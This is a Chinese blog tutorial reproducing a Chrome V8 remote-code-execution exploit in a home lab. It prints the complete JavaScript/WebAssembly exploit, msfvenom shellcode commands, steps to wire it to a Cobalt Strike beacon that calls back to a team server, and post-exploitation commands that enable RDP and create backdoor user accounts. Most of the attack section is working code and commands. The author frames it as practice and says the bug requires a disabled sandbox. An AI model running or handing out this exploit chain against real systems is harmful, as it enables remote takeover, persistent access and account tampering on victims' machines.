打开Chrome浏览器电脑被黑?一次练习CS的机会

原标题《Chrome浏览器0day漏洞复现全过程》

相关阅读

  • 了解更多Cobalt Strike软件知识,这里有相关的视频可以学习

漏洞适用版本

漏洞等级:严重

漏洞评分:9.8

漏洞危害:远程代码执行

影响版本:Chrome 89.0.4389.114以下(含89.0.4389.114)

测试版本: 86.0.4240.198

攻击准备:利用msf生成shellcode代码

这里使用到Kali Linux,如果不会安装可以参考

我们这里设计的是想要在代码运行后弹出计算器(calc),当然你想让它打开啥都无所谓

这里整理了一些常见的运行CMD可以打开的系统软件,你可以按需修改后面代码中的”calc

  1. gpedit.msc-----组策略
  2. sndrec32-------录音机
  3. Nslookup-------IP地址侦测器
  4. explorer-------打开资源管理器
  5. logoff---------注销命令
  6. shutdown-------60秒倒计时关机命令
  7. lusrmgr.msc----本机用户和组
  8. services.msc—本地服务设置
  9. oobe/msoobe /a----检查XP是否激活
  10. notepad--------打开记事本
  11. cleanmgr-------垃圾整理
  12. net start messenger----开始信使服务
  13. compmgmt.msc—计算机管理
  14. net stop messenger-----停止信使服务
  15. conf-----------启动netmeeting
  16. dvdplay--------DVD播放器
  17. charmap--------启动字符映射表
  18. diskmgmt.msc—磁盘管理实用程序
  19. calc-----------启动计算器
  20. dfrg.msc-------磁盘碎片整理程序
  21. chkdsk.exe-----Chkdsk磁盘检查
  22. devmgmt.msc— 设备管理器
  23. regsvr32 /u *.dll----停止dll文件运行
  24. drwtsn32------ 系统医生
  25. rononce -p----15秒关机
  26. dxdiag---------检查DirectX信息
  27. regedt32-------注册表编辑器
  28. Msconfig.exe—系统配置实用程序
  29. rsop.msc-------组策略结果集
  30. mem.exe--------显示内存使用情况
  31. regedit.exe----注册表
  32. winchat--------XP自带局域网聊天
  33. progman--------程序管理器
  34. winmsd---------系统信息
  35. perfmon.msc----计算机性能监测程序
  36. winver---------检查Windows版本
  37. sfc /scannow-----扫描错误并复原
  38. taskmgr-----任务管理器(2000/xp/2003
  40. wmimgmt.msc----打开windows管理体系结构(WMI)
  41. wupdmgr--------windows更新程序
  42. wscript--------windows脚本宿主设置
  43. write----------写字板
  45. wiaacmgr-------扫描仪和照相机向导
  46. winchat--------XP自带局域网聊天
  49. mplayer2-------简易widnows media player
  50. mspaint--------画图板
  51. mstsc----------远程桌面连接
  53. magnify--------放大镜实用程序
  54. mmc------------打开控制台
  55. mobsync--------同步命令
  57. iexpress-------木马捆绑工具,系统自带
  58. fsmgmt.msc-----共享文件夹管理器
  59. utilman--------辅助工具管理器
  61. dcomcnfg-------打开系统组件服务
  62. ddeshare-------打开DDE共享设置
  63. osk------------打开屏幕键盘
  64. odbcad32-------ODBC数据源管理器
  65. oobe/msoobe /a----检查XP是否激活
  68. ntbackup-------系统备份和还原
  69. narrator-------屏幕“讲述人”
  70. ntmsmgr.msc----移动存储管理器
  71. ntmsoprq.msc—移动存储管理员操作请求
  72. netstat -an----(TC)命令检查接口
  73. syncapp--------创建一个公文包
  74. sysedit--------系统配置编辑器
  75. sigverif-------文件签名验证程序
  76. ciadv.msc------索引服务程序
  77. shrpubw--------创建共享文件夹
  78. secpol.msc-----本地安全策略
  79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
  80. services.msc—本地服务设置
  81. Sndvol32-------音量控制程序
  82. sfc.exe--------系统文件检查器
  83. sfc /scannow—windows文件保护
  84. ciadv.msc------索引服务程序
  85. tourstart------xp简介(安装完成后出现的漫游xp程序)
  86. taskmgr--------任务管理器
  87. eventvwr-------事件查看器
  88. eudcedit-------造字程序
  89. compmgmt.msc—计算机管理
  90. packager-------对象包装程序
  91. perfmon.msc----计算机性能监测程序
  92. charmap--------启动字符映射表
  93. cliconfg-------SQL SERVER 客户端网络实用程序
  94. Clipbrd--------剪贴板查看器
  95. conf-----------启动netmeeting
  96. certmgr.msc----证书管理实用程序
  97. regsvr32 /u *.dll----停止dll文件运行
  98. regsvr32 /u zipfldr.dll------取消ZIP支持
  99. cmd.exe--------CMD命令提示符

运行下面的命令生成对应的shellcode,这里我们还是沿用上面的设计(运行后打开计算器

64位操作系统:

msfvenom -a x64 -p windows/x64/exec CMD="calc" EXITFUNC=thread -f num

32位操作系统:

msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num
图片[1]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

把这段16进制的数复制下来,放到下面代码第七行的括号里面:

<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = []; //生成的shellcode放入中括号内
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

如下图所示

图片[2]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

紧接着,保存这个txt文件为exploit.html名字无所谓,别带中文)。

在测试过程中需要关闭沙箱环境,右键单击chrome浏览器的图标(我这个是修改过的),然后在目标的最后面加上

-no-sandbox file:///C:/Users/xuanjian/Desktop/exploit.html(文件路径自己改)

点击“应用”,然后打开浏览器。

图片[3]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog
图片[4]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

看到已经执行了命令cmd=’calc’,弹出了一个计算器。

利用cobaltstrike上线

前期准备

  1. 如果你有两台电脑可以一台当服务端一台当客户端,但是如果像我一样,只有一台电脑,那么就按照以下这些步骤来。
  2. 我是拿我的宿主机服务端win10虚拟机客户端win7虚拟机受害人
  3. 在win10虚拟机和宿主机上面安装好apache2,如何安装请参考https://blog.csdn.net/qq_37778172/article/details/81914724
  4. 在win10虚拟机和宿主机上都放一份cobaltstrike,下载链接:https://www.lanzouv.com/iM8Oqxlss4j密码:av41
  5. 关闭win10虚拟机和win7虚拟机的防火墙,包括域防火墙。(做完1这个操作之后按照234一步步点击)
图片[5]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

图文教程

  • 在宿主机上以管理员身份打开cmd窗口,一定要管理员身份,然后输入cd 你的cobaltstrike目录,比如我是

cd C:\Users\nicolas\桌面\CobaltStrike\CobaltStrike,然后输入teamserver.bat 192.168.209.1 1234,192.168.209.1指的是宿主机的IP,1234是密码,可以随便输,但是不要中文。

  • 出现这种内容就表示成功了。
图片[6]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

  • 然后打开win10虚拟机,单击cobaltsrike.bat:
图片[7]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog
图片[8]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog
  • 输入IP是192.168.209.1、端口号50050(如果没开就新建个入站规则)、密码1234
  • 进入之后,单击左上角的耳机符号的按钮:
图片[9]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog
图片[10]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog
  • 点击最底下的“add”,按照下图内容填写,然后save保存:
图片[11]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

其中,192.168.209.1和之前的要一致,端口号任意,只要不被占用即可。

点击最上面的攻击—>生成后门—>Payload Generator

图片[12]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

然后填入以下内容,如果监听器一格没内容,就add添加进去,记得勾选“使用x64 payload”:

图片[13]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

然后点击generate保存到电脑里面,如下图:

图片[14]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

记事本打开这段payload,按快捷键ctrl+H把\全部替换为,0(注意是英文的逗号)

图片[15]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

然后复制双引号里面的内容,记得去掉第一个逗号,发复制的内容粘贴在下面这段代码的第七行的括号里面。

<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = []; //生成的shellcode放入中括号内
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

保存这段代码为exploit.html,传到apache的htdocs目录下,然后打开win7虚拟机。

右键单击chrome浏览器图标,在目标后面加上--no-sandbox,表示关闭沙箱环境,否则沙箱可以识别出,点击“应用”。

图片[16]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

然后打开chrome,在地址栏输入192.168.209.1/exploit.html,等一会儿出现下面这个界面就对了:

图片[17]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog
  • 回到win10虚拟机,可以看到cs里面已经上线了我们的win7虚拟机:
图片[18]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

我们可以单击右键进入beacon:

图片[19]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

输入shell ipconfig即可查看我们win7虚拟机的IP地址:

图片[20]-打开Chrome浏览器电脑被黑?一次练习CS的机会-FancyPig's blog

还可以输入其他的命令(下面的命令前面记得加shell 前缀)

比如打开远程桌面

wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1

再比如对用户、用户组进行操作

创建用户
net user test1 123.com /add //test1是用户名,123.com是密码,密码复杂度需要满足要求。

查看用户
net user //查看所有用户。
net user test1 //查看指定用户信息。

删除用户
net user test1 /delete

重置用户密码
net user test1 2345.com //重置用户密码为2345.com。

允许用户修改密码
net user test1 /passwordchg:yes

禁止用户修改密码
net user test1 /passwordchg:no

激活用户
net user test1 /active:yes

禁用用户
net user test1 /active:no

创建用户并禁止用户修改密码
net user test1 123.com /add /passwordchg:no

查看本地用户组
net user localgroup

用户加入用户组
net user localgroup “Remote Desktop Users” test1 /add //将test1用户加入远程桌面用户组。

至于能做什么就不必多说了,还不快打开你的Kali自己尝试一下咯!

总结

  1. 防火墙要关完全。
  2. 其实这个漏洞挺鸡肋的,因为要关闭沙箱,正常人不会这么做,就好比问别人要账号密码一样不太现实。
  3. 不过这是一次初学者本地练习cs上线的不错的机会。
© 版权声明
THE END
喜欢就支持一下吧
点赞37 分享
Flemington的头像-FancyPig's blog披萨会员
评论 共7条

请登录后发表评论